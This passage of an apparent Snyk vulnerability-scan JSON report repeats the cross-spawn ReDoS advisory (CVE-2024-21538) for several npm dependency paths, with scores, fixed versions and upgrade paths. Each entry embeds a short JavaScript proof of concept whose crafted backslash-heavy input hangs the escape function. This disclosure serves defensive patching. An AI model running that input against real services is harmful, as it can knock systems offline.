"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmaccess@8.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmaccess@10.0.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmhook@10.0.5",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 4.4,
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"assigner": "SUSE",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 5.5,
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-15T14:04:05.035115Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 4.4,
"cvssVersion": "3.1",
"modificationTime": "2024-11-26T13:35:49.870515Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "SUSE",
"severity": "medium",
"baseScore": 5.5,
"cvssVersion": "3.1",
"modificationTime": "2024-12-12T11:03:12.776792Z"
}
],
"description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.\n## PoC\n```javascript\r\nconst { argument } = require('cross-spawn/lib/util/escape');\r\nvar str = \"\";\r\nfor (var i = 0; i < 1000000; i++) {\r\n str += \"\\\\\";\r\n}\r\nstr += \"◎\";\r\n\r\nconsole.log(\"start\")\r\nargument(str)\r\nconsole.log(\"end\")\r\n\r\n// run `npm install cross-spawn` and `node attack.js` \r\n// then the program will stuck forever with high CPU usage\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `cross-spawn` to version 6.0.6, 7.0.5 or higher.\n## References\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff)\n- [GitHub Commit](https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f)\n- [GitHub PR](https://github.com/moxystudio/node-cross-spawn/pull/160)\n",
"epssDetails": {
"percentile": "0.55693",
"probability": "0.00868",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2024-21538"
],
"CWE": [
"CWE-1333"
]
},
"packageName": "cross-spawn",
"proprietary": true,
"creationTime": "2024-10-24T14:00:39.760442Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2024-10-24T06:04:14Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2024-11-07T14:07:29.496832Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-15T14:04:05.035115Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmorg@6.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"foreground-child@3.2.1",
"cross-spawn@7.0.3"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmorg@8.0.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6"
],
"isUpgradable": true,
"isPatchable": false,
"name": "cross-spawn",
"version": "7.0.3"
},
{
"id": "SNYK-JS-CROSSSPAWN-8303230",
"title": "Regular Expression Denial of Service (ReDoS)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Rongchen Li"
],
"semver": {
"vulnerable": [
"<6.0.6",
">=7.0.0 <7.0.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"6.0.6",
"7.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "cross-spawn",
"references": [
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/5ff3a07d9add449021d806e45c4168203aa833ff",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/commit/640d391fde65388548601d95abedccc12943374f",
"title": "GitHub Commit"
},
{
"url": "https://github.com/moxystudio/node-cross-spawn/pull/160",
"title": "GitHub PR"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
